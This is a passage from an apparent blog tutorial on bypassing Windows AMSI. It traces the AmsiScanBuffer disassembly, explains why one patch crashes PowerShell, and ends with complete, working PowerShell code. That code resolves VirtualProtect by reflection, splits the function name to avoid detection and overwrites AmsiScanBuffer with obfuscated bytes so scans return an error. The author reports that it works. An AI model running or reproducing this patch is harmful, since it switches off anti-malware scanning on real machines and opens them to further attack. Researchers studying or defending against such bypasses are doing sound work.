<figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--18"><div class="wq wr fl ws bg wt" role="button" tabindex="0"><div class="wf wg aqn"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*7RM90CuLMXCMc9Wv.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*7RM90CuLMXCMc9Wv.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*7RM90CuLMXCMc9Wv.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*7RM90CuLMXCMc9Wv.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*7RM90CuLMXCMc9Wv.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*7RM90CuLMXCMc9Wv.png 1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/0*7RM90CuLMXCMc9Wv.png 1400w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/0*7RM90CuLMXCMc9Wv.png 640w, https://miro.medium.com/v2/resize:fit:720/0*7RM90CuLMXCMc9Wv.png 720w, https://miro.medium.com/v2/resize:fit:750/0*7RM90CuLMXCMc9Wv.png 750w, https://miro.medium.com/v2/resize:fit:786/0*7RM90CuLMXCMc9Wv.png 786w, https://miro.medium.com/v2/resize:fit:828/0*7RM90CuLMXCMc9Wv.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*7RM90CuLMXCMc9Wv.png 1100w, https://miro.medium.com/v2/resize:fit:1400/0*7RM90CuLMXCMc9Wv.png 1400w">![](https://miro.medium.com/v2/resize:fit:875/0*7RM90CuLMXCMc9Wv.png)</source></source></picture></div></div></figure><figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--19"><div class="wq wr fl ws bg wt" role="button" tabindex="0"><div class="wf wg aqo"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*-yLptILQYb4SR0Bj.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*-yLptILQYb4SR0Bj.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*-yLptILQYb4SR0Bj.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*-yLptILQYb4SR0Bj.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*-yLptILQYb4SR0Bj.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*-yLptILQYb4SR0Bj.png 1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/0*-yLptILQYb4SR0Bj.png 1400w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/0*-yLptILQYb4SR0Bj.png 640w, https://miro.medium.com/v2/resize:fit:720/0*-yLptILQYb4SR0Bj.png 720w, https://miro.medium.com/v2/resize:fit:750/0*-yLptILQYb4SR0Bj.png 750w, https://miro.medium.com/v2/resize:fit:786/0*-yLptILQYb4SR0Bj.png 786w, https://miro.medium.com/v2/resize:fit:828/0*-yLptILQYb4SR0Bj.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*-yLptILQYb4SR0Bj.png 1100w, https://miro.medium.com/v2/resize:fit:1400/0*-yLptILQYb4SR0Bj.png 1400w">![](https://miro.medium.com/v2/resize:fit:875/0*-yLptILQYb4SR0Bj.png)</source></source></picture></div></div></figure><figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--20"><div class="wq wr fl ws bg wt" role="button" tabindex="0"><div class="wf wg aqp"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*R-BFQLaszSlQMUpH.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*R-BFQLaszSlQMUpH.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*R-BFQLaszSlQMUpH.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*R-BFQLaszSlQMUpH.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*R-BFQLaszSlQMUpH.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*R-BFQLaszSlQMUpH.png 1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/0*R-BFQLaszSlQMUpH.png 1400w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/0*R-BFQLaszSlQMUpH.png 640w, https://miro.medium.com/v2/resize:fit:720/0*R-BFQLaszSlQMUpH.png 720w, https://miro.medium.com/v2/resize:fit:750/0*R-BFQLaszSlQMUpH.png 750w, https://miro.medium.com/v2/resize:fit:786/0*R-BFQLaszSlQMUpH.png 786w, https://miro.medium.com/v2/resize:fit:828/0*R-BFQLaszSlQMUpH.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*R-BFQLaszSlQMUpH.png 1100w, https://miro.medium.com/v2/resize:fit:1400/0*R-BFQLaszSlQMUpH.png 1400w">![](https://miro.medium.com/v2/resize:fit:875/0*R-BFQLaszSlQMUpH.png)</source></source></picture></div></div></figure>According to the graph, multiple branches could land the execution on the code block. One path is notable:

```
cmp rcx, rax<br></br>jz short loc_1800082CA
```

The code block compares values stored in **RAX** and **RCX,** because RCX and RAX will be overwritten later, it is hard to patch them.

<figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--21"><div class="wf wg yj"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 491px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*7TQujHs9MLR8Tr1Y.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*7TQujHs9MLR8Tr1Y.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*7TQujHs9MLR8Tr1Y.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*7TQujHs9MLR8Tr1Y.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*7TQujHs9MLR8Tr1Y.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*7TQujHs9MLR8Tr1Y.png 1100w, https://miro.medium.com/v2/resize:fit:982/format:webp/0*7TQujHs9MLR8Tr1Y.png 982w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 491px" srcset="https://miro.medium.com/v2/resize:fit:640/0*7TQujHs9MLR8Tr1Y.png 640w, https://miro.medium.com/v2/resize:fit:720/0*7TQujHs9MLR8Tr1Y.png 720w, https://miro.medium.com/v2/resize:fit:750/0*7TQujHs9MLR8Tr1Y.png 750w, https://miro.medium.com/v2/resize:fit:786/0*7TQujHs9MLR8Tr1Y.png 786w, https://miro.medium.com/v2/resize:fit:828/0*7TQujHs9MLR8Tr1Y.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*7TQujHs9MLR8Tr1Y.png 1100w, https://miro.medium.com/v2/resize:fit:982/0*7TQujHs9MLR8Tr1Y.png 982w">![](https://miro.medium.com/v2/resize:fit:614/0*7TQujHs9MLR8Tr1Y.png)</source></source></picture></div></figure>If RCX does not equal RCX, the execution will land the following code block. The TEST operation will be performed between **the byte located at the memory address RCX+0x14** and immediate value 4. This means, if the 3rd bit is set in the byte.

```
test byte ptr [rcx+1Ch], 4<br></br>jz short loc_1800082CA
```

If the result is not equal to 0, the execution lands the following code block:

```
mov rcx, [rcx+10h]<br></br>mov r9, rbx<br></br>mov [r11-50h], rbp<br></br>mov [r11-58h], r14<br></br>mov [rsp+88h+var_60], r8d<br></br>mov [r11-68h], rdx<br></br>call WPP_SF_qqDqq
```

No conditional jump happens, just follow the execution, and land the following code block. Previously, RSI is set the value stored in RDX, which is the address of buffer.

```
mov rsi, rdx
```

If RSI is not equal to zero, continue the execution without a conditional jump.

```
loc_1800082CA:<br></br>test rsi, rsi<br></br>jz short loc_180008337
```

The following code block checks if **EDI** is equal to 0. Previously, EDI is set the value stored in **R8D**.

```
mov edi, r8d
```

It is obvious, if R8 is 0, then we will finally reach mov eax, 0x80070057 **instruction.**

```
test edi, edi<br></br>jz short loc_180008337
```

Set **R8** as 0 at the entry of function AmsiScanBuffer, continue the execution. We find that AMSI is bypassed.

<figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--22"><div class="wq wr fl ws bg wt" role="button" tabindex="0"><div class="wf wg aqq"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*HKxEogB0L0qm_DSr.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*HKxEogB0L0qm_DSr.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*HKxEogB0L0qm_DSr.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*HKxEogB0L0qm_DSr.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*HKxEogB0L0qm_DSr.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*HKxEogB0L0qm_DSr.png 1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/0*HKxEogB0L0qm_DSr.png 1400w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/0*HKxEogB0L0qm_DSr.png 640w, https://miro.medium.com/v2/resize:fit:720/0*HKxEogB0L0qm_DSr.png 720w, https://miro.medium.com/v2/resize:fit:750/0*HKxEogB0L0qm_DSr.png 750w, https://miro.medium.com/v2/resize:fit:786/0*HKxEogB0L0qm_DSr.png 786w, https://miro.medium.com/v2/resize:fit:828/0*HKxEogB0L0qm_DSr.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*HKxEogB0L0qm_DSr.png 1100w, https://miro.medium.com/v2/resize:fit:1400/0*HKxEogB0L0qm_DSr.png 1400w">![](https://miro.medium.com/v2/resize:fit:875/0*HKxEogB0L0qm_DSr.png)</source></source></picture></div></div></figure><figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--23"><div class="wq wr fl ws bg wt" role="button" tabindex="0"><div class="wf wg aqr"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*535DOtUEucPN4mAi.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*535DOtUEucPN4mAi.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*535DOtUEucPN4mAi.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*535DOtUEucPN4mAi.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*535DOtUEucPN4mAi.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*535DOtUEucPN4mAi.png 1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/0*535DOtUEucPN4mAi.png 1400w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/0*535DOtUEucPN4mAi.png 640w, https://miro.medium.com/v2/resize:fit:720/0*535DOtUEucPN4mAi.png 720w, https://miro.medium.com/v2/resize:fit:750/0*535DOtUEucPN4mAi.png 750w, https://miro.medium.com/v2/resize:fit:786/0*535DOtUEucPN4mAi.png 786w, https://miro.medium.com/v2/resize:fit:828/0*535DOtUEucPN4mAi.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*535DOtUEucPN4mAi.png 1100w, https://miro.medium.com/v2/resize:fit:1400/0*535DOtUEucPN4mAi.png 1400w">![](https://miro.medium.com/v2/resize:fit:875/0*535DOtUEucPN4mAi.png)</source></source></picture></div></div></figure>If we try to patch AmsiScanBuffer by setting R8 to 0:

```
xor r8, r8;
```

The opcode is **0x4d31c0.** However, it will crash powershell.exe process, because we overwrote some instructions, such as **mov r11, rsp**. While R11 will be used in some following instructions.

<figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--24"><div class="wf wg xy"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 516px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*anc0ZLd3vYZq2RD_.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*anc0ZLd3vYZq2RD_.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*anc0ZLd3vYZq2RD_.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*anc0ZLd3vYZq2RD_.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*anc0ZLd3vYZq2RD_.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*anc0ZLd3vYZq2RD_.png 1100w, https://miro.medium.com/v2/resize:fit:1032/format:webp/0*anc0ZLd3vYZq2RD_.png 1032w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 516px" srcset="https://miro.medium.com/v2/resize:fit:640/0*anc0ZLd3vYZq2RD_.png 640w, https://miro.medium.com/v2/resize:fit:720/0*anc0ZLd3vYZq2RD_.png 720w, https://miro.medium.com/v2/resize:fit:750/0*anc0ZLd3vYZq2RD_.png 750w, https://miro.medium.com/v2/resize:fit:786/0*anc0ZLd3vYZq2RD_.png 786w, https://miro.medium.com/v2/resize:fit:828/0*anc0ZLd3vYZq2RD_.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*anc0ZLd3vYZq2RD_.png 1100w, https://miro.medium.com/v2/resize:fit:1032/0*anc0ZLd3vYZq2RD_.png 1032w">![](https://miro.medium.com/v2/resize:fit:645/0*anc0ZLd3vYZq2RD_.png)</source></source></picture></div></figure><figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--25"><div class="wf wg aqs"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 523px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*lz-6io2CPLQZ0Hs7.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*lz-6io2CPLQZ0Hs7.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*lz-6io2CPLQZ0Hs7.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*lz-6io2CPLQZ0Hs7.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*lz-6io2CPLQZ0Hs7.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*lz-6io2CPLQZ0Hs7.png 1100w, https://miro.medium.com/v2/resize:fit:1046/format:webp/0*lz-6io2CPLQZ0Hs7.png 1046w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 523px" srcset="https://miro.medium.com/v2/resize:fit:640/0*lz-6io2CPLQZ0Hs7.png 640w, https://miro.medium.com/v2/resize:fit:720/0*lz-6io2CPLQZ0Hs7.png 720w, https://miro.medium.com/v2/resize:fit:750/0*lz-6io2CPLQZ0Hs7.png 750w, https://miro.medium.com/v2/resize:fit:786/0*lz-6io2CPLQZ0Hs7.png 786w, https://miro.medium.com/v2/resize:fit:828/0*lz-6io2CPLQZ0Hs7.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*lz-6io2CPLQZ0Hs7.png 1100w, https://miro.medium.com/v2/resize:fit:1046/0*lz-6io2CPLQZ0Hs7.png 1046w">![](https://miro.medium.com/v2/resize:fit:654/0*lz-6io2CPLQZ0Hs7.png)</source></source></picture></div></figure>Therefore, this bypass works in theory, but we will have issues when using it in practical without WinDBG.

We can also force AmsiScanbuffer to return **E\_INVALIDARG** error, the instructions are as follows:

```
mov eax, 0x80070057<br></br>ret
```

The opcode is **0xb857000780c3**. However, the opcode is signatured, therefore, we should slightly obfuscate it.

<figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--26"><div class="wq wr fl ws bg wt" role="button" tabindex="0"><div class="wf wg aqt"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*N8cNK4Od4Te1qW-t.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*N8cNK4Od4Te1qW-t.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*N8cNK4Od4Te1qW-t.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*N8cNK4Od4Te1qW-t.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*N8cNK4Od4Te1qW-t.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*N8cNK4Od4Te1qW-t.png 1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/0*N8cNK4Od4Te1qW-t.png 1400w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/0*N8cNK4Od4Te1qW-t.png 640w, https://miro.medium.com/v2/resize:fit:720/0*N8cNK4Od4Te1qW-t.png 720w, https://miro.medium.com/v2/resize:fit:750/0*N8cNK4Od4Te1qW-t.png 750w, https://miro.medium.com/v2/resize:fit:786/0*N8cNK4Od4Te1qW-t.png 786w, https://miro.medium.com/v2/resize:fit:828/0*N8cNK4Od4Te1qW-t.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*N8cNK4Od4Te1qW-t.png 1100w, https://miro.medium.com/v2/resize:fit:1400/0*N8cNK4Od4Te1qW-t.png 1400w">![](https://miro.medium.com/v2/resize:fit:875/0*N8cNK4Od4Te1qW-t.png)</source></source></picture></div></div></figure>Final code:

```
function LookupFunc {<br></br>    Param ($moduleName, $functionName)<br></br>    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |<br></br>    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].<br></br>     Equals('System.dll')<br></br>     }).GetType('Microsoft.Win32.UnsafeNativeMethods')<br></br>    $tmp=@()<br></br>    $assem.GetMethods() | ForEach-Object {If($_.Name -like "Ge*P*oc*ddress") {$tmp+=$_}}<br></br>    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,<br></br>@($moduleName)), $functionName))<br></br>}<br></br><br></br><br></br>function getDelegateType {<br></br>    Param (<br></br>     [Parameter(Position = 0, Mandatory = $True)] [Type[]]<br></br>     $func, [Parameter(Position = 1)] [Type] $delType = [Void]<br></br>    )<br></br>    $type = [AppDomain]::CurrentDomain.<br></br>    DefineDynamicAssembly((New-Object <mark class="arb arc ao">System.Reflection.AssemblyName</mark>('ReflectedDelegate')),<br></br>[System.Reflection.Emit.AssemblyBuilderAccess]::Run).<br></br>    DefineDynamicModule('InMemoryModule', $false).<br></br>    DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass,<br></br>    AutoClass', [System.MulticastDelegate])<br></br><br></br>  $type.<br></br>    DefineConstructor('RTSpecialName, HideBySig, Public',<br></br>[System.Reflection.CallingConventions]::Standard, $func).<br></br>     SetImplementationFlags('Runtime, Managed')<br></br><br></br>  $type.<br></br>    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType,<br></br>$func). SetImplementationFlags('Runtime, Managed')<br></br>    return $type.CreateType()<br></br>}<br></br><br></br><br></br>$a="A"<br></br>$b="msiS"<br></br>$c="canB"<br></br>$d="uffer"<br></br>[IntPtr]$funcAddr = LookupFunc amsi.dll ($a+$b+$c+$d)<br></br>$oldProtectionBuffer = 0<br></br>$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))<br></br>$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)<br></br>$buf = [Byte[]] (0xb8,0x34,0x12,0x07,0x80,0x66,0xb8,0x32,0x00,0xb0,0x57,0xc3)<br></br>[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 12)
```

It works well : )

<figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--27"><div class="wq wr fl ws bg wt" role="button" tabindex="0"><div class="wf wg aqu"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*4pfK9pvp7NE33hSz.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*4pfK9pvp7NE33hSz.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*4pfK9pvp7NE33hSz.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*4pfK9pvp7NE33hSz.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*4pfK9pvp7NE33hSz.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*4pfK9pvp7NE33hSz.png 